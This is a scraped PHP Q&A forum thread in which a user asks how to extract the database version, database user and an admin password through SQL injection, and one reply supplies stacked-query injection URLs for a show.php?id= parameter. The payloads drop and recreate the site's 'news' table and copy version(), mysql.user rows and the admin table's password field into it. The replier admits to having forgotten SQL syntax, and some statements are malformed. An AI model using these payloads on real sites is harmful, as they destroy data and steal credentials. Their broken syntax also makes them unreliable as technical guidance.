search

Home  >  Q&A  >  body text

php - Questions about sql injection

There is such a piece of php code

How do you finally query the database version, database user, and password content with field 1 by using a script

習慣沉默習慣沉默2731 days ago703

reply all(1)I'll reply

  • 習慣沉默

    習慣沉默2017-06-13 09:23:39

    You know, if it were me, I might try to do this. . .
    SQL injection only requires some simple principles. . .
    I have forgotten all the SQL syntax. . . If the grammar is incorrect, check the grammar yourself and correct it. . .

    # 获得数据库版本
    show.php?id=1;drop table news; create table news(title char(1024),id int); insert into news values(select version(), 1);
    show.php?id=1
    
    # 获取数据库用户
    show.php?id=1;drop table news; create table news(title char(1024), id int); select user,1 from mysql.user into news;
    show.php?id=1
    
    # 获取表admin ID为1字段password的内容
    show.php?id=1;drop table news; create table news(title char(1024), id int); select password, 1 from admin where id = 1 into news;
    show.php?id=1

    That’s right. . Generally speaking, it’s better not to be so awesome. . .
    Rename the original news. After checking all the information, delete the useless news and rename it back. . . But I forgot the rename statement. . .

    reply
    0
  • Cancelreply